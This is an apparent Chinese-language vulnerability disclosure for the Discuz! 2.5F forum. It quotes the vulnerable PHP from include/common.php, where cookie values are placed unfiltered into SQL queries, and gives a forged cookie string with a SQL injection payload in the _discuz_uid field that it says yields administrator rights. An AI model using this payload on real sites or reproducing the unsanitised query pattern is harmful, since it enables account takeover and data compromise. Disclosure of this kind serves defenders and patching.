上一篇：Window 服务全攻略大全

Discuz! 2.5F cookie未过滤漏洞

漏洞提供：火狐技术联盟－我非我 [www.wrsky.com]

漏洞说明：
discuz! 2.5f新版论坛 cookie未过滤通过本地构造可获取管理员权限

具体描述：
文件include\common.php中87行

=================================code begin==========================================================
$discuz_uid = $_cookie['_discuz_uid']; //这里没有进行过滤检测
$discuz_pw = $_cookie['_discuz_pw'];
$discuz_secques = $_cookie['_discuz_secques'];

$newpm = $newpmexists = $sessionexists = $adminid = $adminglobal = 0;

$userinfo="m.uid as discuz_uid, m.username as discuz_user, m.password as discuz_pw, m.adminid, m.groupid, m.email, m.timeoffset,m.tpp, m.ppp, m.credit, m.timeformat, m.dateformat, m.signature, m.invisible, m.lastvisit, m.lastpost, m.newpm, m.accessmasks, m.regdate";
//这里直接就放入mysql执行了..
if($sid) {
if($discuz_uid) {
$query = $db->query("select s.sid, s.styleid, s.groupid='6' as ipbanned, $userinfo from $table_sessions s, $table_members m where m.uid=s.uid and s.sid='$sid' and concat_ws('.',s.ip1,s.ip2,s.ip3,s.ip4)='$onlineip' and m.uid='$discuz_uid' and m.password='$discuz_pw' and m.secques='$discuz_secques'");
} else {
$query = $db->query("select sid, uid as sessionuid, groupid, groupid='6' as ipbanned, styleid from $table_sessions where sid='$sid' and concat_ws('.',ip1,ip2,ip3,ip4)='$onlineip'");
}
if($_dsession = $db->fetch_array($query)) {
$sessionexists = 1;
if(!empty($_dsession['sessionuid'])) {
$query = $db->query("select $userinfo from $table_members m where uid='$_dsession[sessionuid]'");
$_dsession = array_merge($_dsession, $db->fetch_array($query));
}
} else {
$query = $db->query("select sid, groupid, groupid='6' as ipbanned, styleid from $table_sessions where sid='$sid' and concat_ws('.',ip1,ip2,ip3,ip4)='$onlineip'");
if($_dsession = $db->fetch_array($query)) {
clearcookies();
$sessionexists = 1;
}
}
}
if(!$sessionexists) {

..........................................

====================================code end==========================================================

本地cookie构造方式：

sid=dagm7p; _cookietime=2592000; expand_menu=0__3; _discuz_uid=1' or '1'='1' /*; _discuz_pw=wofeiwo; _discuz_secques=hehe

漏洞演示动画下载：

http://down.juntuan.net/data/soft/778.html

（）

下一篇：来自MSN官方网站的使用技巧集锦

↓相关文章：